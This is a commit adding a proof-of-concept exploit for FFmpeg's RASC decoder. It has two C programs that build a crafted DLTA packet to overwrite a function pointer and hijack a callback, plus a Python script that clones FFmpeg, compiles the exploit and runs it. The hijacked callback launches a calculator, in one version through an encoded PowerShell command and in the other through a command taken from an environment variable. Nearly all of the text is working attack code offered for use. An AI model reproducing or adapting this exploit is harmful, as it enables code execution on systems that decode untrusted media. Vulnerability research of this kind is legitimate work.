Upload files to "ffmpeg-rasc-dlta-calc-poc/poc"

This commit is contained in:
2026-06-29 16:40:50 +00:00
parent d46028f3df
commit 9cc10584fc
3 changed files with 704 additions and 0 deletions
@@ -0,0 +1,240 @@
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "libavcodec/avcodec.h"
#include "libavutil/buffer.h"
#include "libavutil/error.h"
#include "libavutil/frame.h"
#include "libavutil/mem.h"
#define FRAME_W 64
#define FRAME_H 1
#define RASC_INIT 0x54494e49u
#define RASC_DLTA 0x41544c44u
typedef void (*demo_callback)(void);
typedef struct DemoChunk {
uint8_t plane[FRAME_W];
demo_callback cb;
uint8_t palette[1024];
} DemoChunk;
static DemoChunk *frame1_chunk;
static DemoChunk *frame2_chunk;
static void benign_callback(void)
{
puts("[callback] benign callback reached");
}
static void calc_callback(void)
{
const char *fallbacks[] = {
"cmd.exe /c start calc.exe >/dev/null 2>&1",
"xcalc >/dev/null 2>&1 &",
"gnome-calculator >/dev/null 2>&1 &",
"kcalc >/dev/null 2>&1 &"
};
puts("[callback] hijacked callback reached");
system("touch /tmp/ffmpeg_rasc_exec_demo");
if (system("powershell.exe -NoProfile -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAGMAYQBsAGMALgBlAHgAZQA= >/dev/null 2>&1 &") == 0)
return;
for (size_t i = 0; i < sizeof(fallbacks) / sizeof(fallbacks[0]); i++) {
if (system(fallbacks[i]) == 0)
return;
}
}
static void free_demo_chunk(void *opaque, uint8_t *data)
{
(void)opaque;
av_free(data);
}
static void put_le16(uint8_t *p, uint16_t v)
{
p[0] = (uint8_t)v;
p[1] = (uint8_t)(v >> 8);
}
static void put_le32(uint8_t *p, uint32_t v)
{
p[0] = (uint8_t)v;
p[1] = (uint8_t)(v >> 8);
p[2] = (uint8_t)(v >> 16);
p[3] = (uint8_t)(v >> 24);
}
static void make_chunk(uint8_t **cursor, uint32_t tag, uint32_t body_size)
{
put_le32(*cursor, tag);
put_le32(*cursor + 4, body_size);
*cursor += 8;
}
static uint8_t *make_packet(size_t *packet_size, uintptr_t target_addr)
{
const uint32_t init_body_size = 72 + 1024;
const uint32_t dlta_cmd_size = 6;
const uint32_t dlta_body_size = 40 + dlta_cmd_size;
const size_t total = 8 + init_body_size + 8 + dlta_body_size;
uint8_t *packet = av_mallocz(total);
uint8_t *p = packet;
uint8_t *body;
uint32_t fill;
if (!packet)
return NULL;
make_chunk(&p, RASC_INIT, init_body_size);
body = p;
put_le32(body + 0, 0x65);
put_le32(body + 8, FRAME_W);
put_le32(body + 12, FRAME_H);
put_le16(body + 46, 8);
for (int i = 0; i < 256; i++)
put_le32(body + 72 + 4 * i, 0xff000000u | (uint32_t)(i * 0x010101u));
p += init_body_size;
make_chunk(&p, RASC_DLTA, dlta_body_size);
body = p;
put_le32(body + 12, dlta_cmd_size);
put_le32(body + 16, FRAME_W - 1);
put_le32(body + 20, 0);
put_le32(body + 24, 1);
put_le32(body + 28, 1);
put_le32(body + 36, 0);
fill = (uint32_t)(((target_addr & 0x00ffffffu) << 8) | 0x41u);
body[40] = 7;
body[41] = 1;
put_le32(body + 42, fill);
*packet_size = total;
return packet;
}
static int exploit_get_buffer2(AVCodecContext *ctx, AVFrame *frame, int flags)
{
static int allocation_index;
DemoChunk *chunk;
(void)flags;
if (ctx->pix_fmt != AV_PIX_FMT_PAL8 || frame->width != FRAME_W || frame->height != FRAME_H)
return AVERROR(EINVAL);
chunk = av_mallocz(sizeof(*chunk));
if (!chunk)
return AVERROR(ENOMEM);
chunk->cb = benign_callback;
frame->buf[0] = av_buffer_create((uint8_t *)chunk, sizeof(*chunk), free_demo_chunk, NULL, 0);
if (!frame->buf[0]) {
av_free(chunk);
return AVERROR(ENOMEM);
}
frame->data[0] = chunk->plane;
frame->data[1] = chunk->palette;
frame->linesize[0] = FRAME_W;
frame->extended_data = frame->data;
if (allocation_index == 0)
frame1_chunk = chunk;
else if (allocation_index == 1)
frame2_chunk = chunk;
allocation_index++;
return 0;
}
static void fail_av(const char *what, int err)
{
char buf[AV_ERROR_MAX_STRING_SIZE];
av_strerror(err, buf, sizeof(buf));
fprintf(stderr, "%s failed: %s (%d)\n", what, buf, err);
exit(1);
}
int main(void)
{
const AVCodec *codec = avcodec_find_decoder(AV_CODEC_ID_RASC);
AVCodecContext *ctx = NULL;
AVPacket *pkt = NULL;
AVFrame *frame = NULL;
uint8_t *packet_data = NULL;
size_t packet_size = 0;
int ret;
if (!codec) {
fputs("RASC decoder missing\n", stderr);
return 1;
}
printf("[addr] benign_callback=%p\n", (void *)benign_callback);
printf("[addr] calc_callback=%p\n", (void *)calc_callback);
if ((((uintptr_t)benign_callback) >> 24) != (((uintptr_t)calc_callback) >> 24)) {
fputs("callbacks outside 24-bit overwrite window\n", stderr);
return 1;
}
ctx = avcodec_alloc_context3(codec);
pkt = av_packet_alloc();
frame = av_frame_alloc();
if (!ctx || !pkt || !frame)
fail_av("allocation", AVERROR(ENOMEM));
ctx->thread_count = 1;
ctx->get_buffer2 = exploit_get_buffer2;
ret = avcodec_open2(ctx, codec, NULL);
if (ret < 0)
fail_av("avcodec_open2", ret);
packet_data = make_packet(&packet_size, (uintptr_t)calc_callback);
if (!packet_data)
fail_av("make_packet", AVERROR(ENOMEM));
ret = av_new_packet(pkt, (int)packet_size);
if (ret < 0)
fail_av("av_new_packet", ret);
memcpy(pkt->data, packet_data, packet_size);
av_free(packet_data);
ret = avcodec_send_packet(ctx, pkt);
if (ret < 0)
fail_av("avcodec_send_packet", ret);
ret = avcodec_receive_frame(ctx, frame);
if (ret != 0 && ret != AVERROR(EAGAIN) && ret != AVERROR_EOF)
fail_av("avcodec_receive_frame", ret);
if (!frame2_chunk) {
fputs("frame2 allocation missing\n", stderr);
return 1;
}
printf("[ptr] frame1 callback after decode=%p\n", (void *)frame1_chunk->cb);
printf("[ptr] frame2 callback after decode=%p\n", (void *)frame2_chunk->cb);
printf("[ptr] expected target=%p\n", (void *)calc_callback);
if (frame2_chunk->cb != calc_callback) {
fputs("callback pointer unchanged\n", stderr);
return 1;
}
puts("[ok] media-controlled RASC DLTA overwrite redirected callback");
frame2_chunk->cb();
av_frame_free(&frame);
av_packet_free(&pkt);
avcodec_free_context(&ctx);
return 0;
}
@@ -0,0 +1,265 @@
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "libavcodec/avcodec.h"
#include "libavutil/buffer.h"
#include "libavutil/error.h"
#include "libavutil/frame.h"
#include "libavutil/mem.h"
#define FRAME_W 64
#define FRAME_H 1
#define RASC_INIT 0x54494e49u
#define RASC_DLTA 0x41544c44u
#ifdef _WIN32
#define MARKER_PATH "ffmpeg_rasc_dlta_calc_poc_marker.txt"
#else
#define MARKER_PATH "/tmp/ffmpeg_rasc_dlta_calc_poc_marker"
#endif
typedef void (*demo_callback)(void);
typedef struct DemoChunk {
uint8_t plane[FRAME_W];
demo_callback cb;
uint8_t palette[1024];
} DemoChunk;
static DemoChunk *frame1_chunk;
static DemoChunk *frame2_chunk;
static void benign_callback(void)
{
puts("[callback] benign callback reached");
}
static int run_command(const char *cmd)
{
return cmd && cmd[0] && system(cmd) == 0;
}
static void calc_callback(void)
{
const char *override_cmd = getenv("RASC_CALC_CMD");
const char *commands[] = {
"open -a Calculator >/dev/null 2>&1",
"gnome-calculator >/dev/null 2>&1 &",
"kcalc >/dev/null 2>&1 &",
"mate-calc >/dev/null 2>&1 &",
"qalculate-gtk >/dev/null 2>&1 &",
"xcalc >/dev/null 2>&1 &",
"powershell.exe -NoProfile -Command Start-Process calc.exe >/dev/null 2>&1 &",
"cmd.exe /c start calc.exe >/dev/null 2>&1"
};
FILE *marker;
puts("[callback] hijacked callback reached");
marker = fopen(MARKER_PATH, "wb");
if (marker) {
fputs("callback reached\n", marker);
fclose(marker);
}
if (run_command(override_cmd))
return;
for (size_t i = 0; i < sizeof(commands) / sizeof(commands[0]); i++) {
if (run_command(commands[i]))
return;
}
printf("[callback] calculator command not found; marker written to %s\n", MARKER_PATH);
}
static void free_demo_chunk(void *opaque, uint8_t *data)
{
(void)opaque;
av_free(data);
}
static void put_le16(uint8_t *p, uint16_t v)
{
p[0] = (uint8_t)v;
p[1] = (uint8_t)(v >> 8);
}
static void put_le32(uint8_t *p, uint32_t v)
{
p[0] = (uint8_t)v;
p[1] = (uint8_t)(v >> 8);
p[2] = (uint8_t)(v >> 16);
p[3] = (uint8_t)(v >> 24);
}
static void make_chunk(uint8_t **cursor, uint32_t tag, uint32_t body_size)
{
put_le32(*cursor, tag);
put_le32(*cursor + 4, body_size);
*cursor += 8;
}
static uint8_t *make_packet(size_t *packet_size, uintptr_t target_addr)
{
const uint32_t init_body_size = 72 + 1024;
const uint32_t dlta_cmd_size = 6;
const uint32_t dlta_body_size = 40 + dlta_cmd_size;
const size_t total = 8 + init_body_size + 8 + dlta_body_size;
uint8_t *packet = av_mallocz(total);
uint8_t *p = packet;
uint8_t *body;
uint32_t fill;
if (!packet)
return NULL;
make_chunk(&p, RASC_INIT, init_body_size);
body = p;
put_le32(body + 0, 0x65);
put_le32(body + 8, FRAME_W);
put_le32(body + 12, FRAME_H);
put_le16(body + 46, 8);
for (int i = 0; i < 256; i++)
put_le32(body + 72 + 4 * i, 0xff000000u | (uint32_t)(i * 0x010101u));
p += init_body_size;
make_chunk(&p, RASC_DLTA, dlta_body_size);
body = p;
put_le32(body + 12, dlta_cmd_size);
put_le32(body + 16, FRAME_W - 1);
put_le32(body + 20, 0);
put_le32(body + 24, 1);
put_le32(body + 28, 1);
put_le32(body + 36, 0);
fill = (uint32_t)(((target_addr & 0x00ffffffu) << 8) | 0x41u);
body[40] = 7;
body[41] = 1;
put_le32(body + 42, fill);
*packet_size = total;
return packet;
}
static int exploit_get_buffer2(AVCodecContext *ctx, AVFrame *frame, int flags)
{
static int allocation_index;
DemoChunk *chunk;
(void)flags;
if (ctx->pix_fmt != AV_PIX_FMT_PAL8 || frame->width != FRAME_W || frame->height != FRAME_H)
return AVERROR(EINVAL);
chunk = av_mallocz(sizeof(*chunk));
if (!chunk)
return AVERROR(ENOMEM);
chunk->cb = benign_callback;
frame->buf[0] = av_buffer_create((uint8_t *)chunk, sizeof(*chunk), free_demo_chunk, NULL, 0);
if (!frame->buf[0]) {
av_free(chunk);
return AVERROR(ENOMEM);
}
frame->data[0] = chunk->plane;
frame->data[1] = chunk->palette;
frame->linesize[0] = FRAME_W;
frame->extended_data = frame->data;
if (allocation_index == 0)
frame1_chunk = chunk;
else if (allocation_index == 1)
frame2_chunk = chunk;
allocation_index++;
return 0;
}
static void fail_av(const char *what, int err)
{
char buf[AV_ERROR_MAX_STRING_SIZE];
av_strerror(err, buf, sizeof(buf));
fprintf(stderr, "%s failed: %s (%d)\n", what, buf, err);
exit(1);
}
int main(void)
{
const AVCodec *codec = avcodec_find_decoder(AV_CODEC_ID_RASC);
AVCodecContext *ctx = NULL;
AVPacket *pkt = NULL;
AVFrame *frame = NULL;
uint8_t *packet_data = NULL;
size_t packet_size = 0;
int ret;
remove(MARKER_PATH);
if (!codec) {
fputs("RASC decoder missing\n", stderr);
return 1;
}
printf("[addr] benign_callback=%p\n", (void *)benign_callback);
printf("[addr] calc_callback=%p\n", (void *)calc_callback);
if ((((uintptr_t)benign_callback) >> 24) != (((uintptr_t)calc_callback) >> 24)) {
fputs("callbacks outside 24-bit overwrite window\n", stderr);
return 1;
}
ctx = avcodec_alloc_context3(codec);
pkt = av_packet_alloc();
frame = av_frame_alloc();
if (!ctx || !pkt || !frame)
fail_av("allocation", AVERROR(ENOMEM));
ctx->thread_count = 1;
ctx->get_buffer2 = exploit_get_buffer2;
ret = avcodec_open2(ctx, codec, NULL);
if (ret < 0)
fail_av("avcodec_open2", ret);
packet_data = make_packet(&packet_size, (uintptr_t)calc_callback);
if (!packet_data)
fail_av("make_packet", AVERROR(ENOMEM));
ret = av_new_packet(pkt, (int)packet_size);
if (ret < 0)
fail_av("av_new_packet", ret);
memcpy(pkt->data, packet_data, packet_size);
av_free(packet_data);
ret = avcodec_send_packet(ctx, pkt);
if (ret < 0)
fail_av("avcodec_send_packet", ret);
ret = avcodec_receive_frame(ctx, frame);
if (ret != 0 && ret != AVERROR(EAGAIN) && ret != AVERROR_EOF)
fail_av("avcodec_receive_frame", ret);
if (!frame2_chunk) {
fputs("frame2 allocation missing\n", stderr);
return 1;
}
printf("[ptr] frame1 callback after decode=%p\n", (void *)frame1_chunk->cb);
printf("[ptr] frame2 callback after decode=%p\n", (void *)frame2_chunk->cb);
printf("[ptr] expected target=%p\n", (void *)calc_callback);
if (frame2_chunk->cb != calc_callback) {
fputs("callback pointer unchanged\n", stderr);
return 1;
}
puts("[ok] media-controlled RASC DLTA overwrite redirected callback");
frame2_chunk->cb();
av_frame_free(&frame);
av_packet_free(&pkt);
avcodec_free_context(&ctx);
return 0;
}
@@ -0,0 +1,199 @@
import argparse
import os
import platform
import shutil
import subprocess
import sys
from pathlib import Path
def in_wsl():
if "WSL_DISTRO_NAME" in os.environ:
return True
try:
return "microsoft" in Path("/proc/version").read_text(errors="ignore").lower()
except OSError:
return False
def host_name():
name = platform.system().lower()
if in_wsl():
return "wsl"
if name == "darwin":
return "macos"
if name == "linux":
return "linux"
if name == "windows":
return "windows"
return name or "unknown"
def command_program(command):
parts = command.split()
if len(parts) >= 2 and parts[0].lower() in {"cmd.exe", "cmd"} and parts[1].lower() == "/c":
return parts[0]
return parts[0] if parts else ""
def command_exists(command):
program = command_program(command)
if not program:
return False
if program.lower() == "open" and host_name() == "macos":
return shutil.which("open") is not None
if program.lower() in {"cmd.exe", "powershell.exe"} and host_name() == "windows":
return True
return shutil.which(program) is not None
def calc_candidates():
host = host_name()
if host == "macos":
return ["open -a Calculator"]
if host == "windows":
return ["cmd.exe /c start calc.exe", "powershell.exe -NoProfile -Command Start-Process calc.exe"]
if host == "wsl":
return [
"powershell.exe -NoProfile -Command Start-Process calc.exe",
"cmd.exe /c start calc.exe",
"gnome-calculator",
"kcalc",
"mate-calc",
"qalculate-gtk",
"xcalc",
]
return ["gnome-calculator", "kcalc", "mate-calc", "qalculate-gtk", "xcalc"]
def choose_calc_command(preferred):
if preferred:
return preferred
for command in calc_candidates():
if command_exists(command):
return command
return ""
def run(args, cwd=None, env=None):
print("+ " + " ".join(str(x) for x in args), flush=True)
subprocess.run([str(x) for x in args], cwd=cwd, env=env, check=True)
def require_tool(name):
path = shutil.which(name)
if not path:
raise SystemExit(f"missing required tool: {name}")
return path
def clone_ffmpeg(src, ref):
if (src / ".git").exists():
run(["git", "-C", src, "fetch", "--depth", "1", "origin", ref])
run(["git", "-C", src, "checkout", "FETCH_HEAD"])
return
run(["git", "clone", "--depth", "1", "https://github.com/FFmpeg/FFmpeg.git", src])
if ref and ref != "master":
run(["git", "-C", src, "fetch", "--depth", "1", "origin", ref])
run(["git", "-C", src, "checkout", "FETCH_HEAD"])
def compiler():
for name in [os.environ.get("CC"), "cc", "gcc", "clang"]:
if name and shutil.which(name):
return name
raise SystemExit("missing C compiler: set CC or install gcc/clang")
def build_poc(options):
root = Path(__file__).resolve().parents[1]
src = Path(options.ffmpeg_src).expanduser().resolve()
build = Path(options.build_dir).expanduser().resolve()
output = Path(options.output).expanduser().resolve()
source_file = root / "poc" / "ffmpeg_rasc_dlta_calc_poc_portable.c"
cc = compiler()
require_tool("git")
require_tool("make")
clone_ffmpeg(src, options.ffmpeg_ref)
build.mkdir(parents=True, exist_ok=True)
configure = [
src / "configure",
"--enable-debug",
"--disable-doc",
"--disable-stripping",
"--disable-x86asm",
"--disable-programs",
"--disable-autodetect",
"--disable-everything",
"--enable-zlib",
"--enable-decoder=rasc",
]
run(configure, cwd=build)
run(["make", f"-j{options.jobs}", "libavcodec/libavcodec.a", "libavutil/libavutil.a"], cwd=build)
libs = ["-lz", "-lm", "-pthread"]
if host_name() not in {"macos", "windows"}:
libs.append("-ldl")
compile_cmd = [
cc,
"-g",
"-O0",
f"-I{build}",
f"-I{src}",
source_file,
build / "libavcodec/libavcodec.a",
build / "libavutil/libavutil.a",
*libs,
"-o",
output,
]
run(compile_cmd)
return output
def run_poc(binary, calc_command):
env = os.environ.copy()
if calc_command:
env["RASC_CALC_CMD"] = calc_command
print(f"selected calc command: {calc_command}", flush=True)
else:
print("no local calculator command found; marker file still proves callback execution", flush=True)
run([binary], env=env)
marker = Path("ffmpeg_rasc_dlta_calc_poc_marker.txt") if host_name() == "windows" else Path("/tmp/ffmpeg_rasc_dlta_calc_poc_marker")
if marker.exists():
print(f"marker:present {marker}", flush=True)
else:
print(f"marker:missing {marker}", flush=True)
def main():
parser = argparse.ArgumentParser(description="Build and run the portable FFmpeg RASC DLTA calc PoC for this OS.")
parser.add_argument("--mode", choices=["print", "build", "run"], default="run")
parser.add_argument("--ffmpeg-src", default="/tmp/ffmpeg-rasc-dlta-src")
parser.add_argument("--build-dir", default="/tmp/ffmpeg-rasc-dlta-build")
parser.add_argument("--output", default="./ffmpeg_rasc_dlta_calc_poc_portable")
parser.add_argument("--ffmpeg-ref", default="master")
parser.add_argument("--calc-cmd", default="")
parser.add_argument("--jobs", default=str(os.cpu_count() or 4))
options = parser.parse_args()
calc_command = choose_calc_command(options.calc_cmd)
print(f"host: {host_name()}", flush=True)
print(f"calc command: {calc_command or 'not found'}", flush=True)
if options.mode == "print":
return
binary = build_poc(options)
if options.mode == "run":
run_poc(binary, calc_command)
if __name__ == "__main__":
try:
main()
except subprocess.CalledProcessError as exc:
sys.exit(exc.returncode)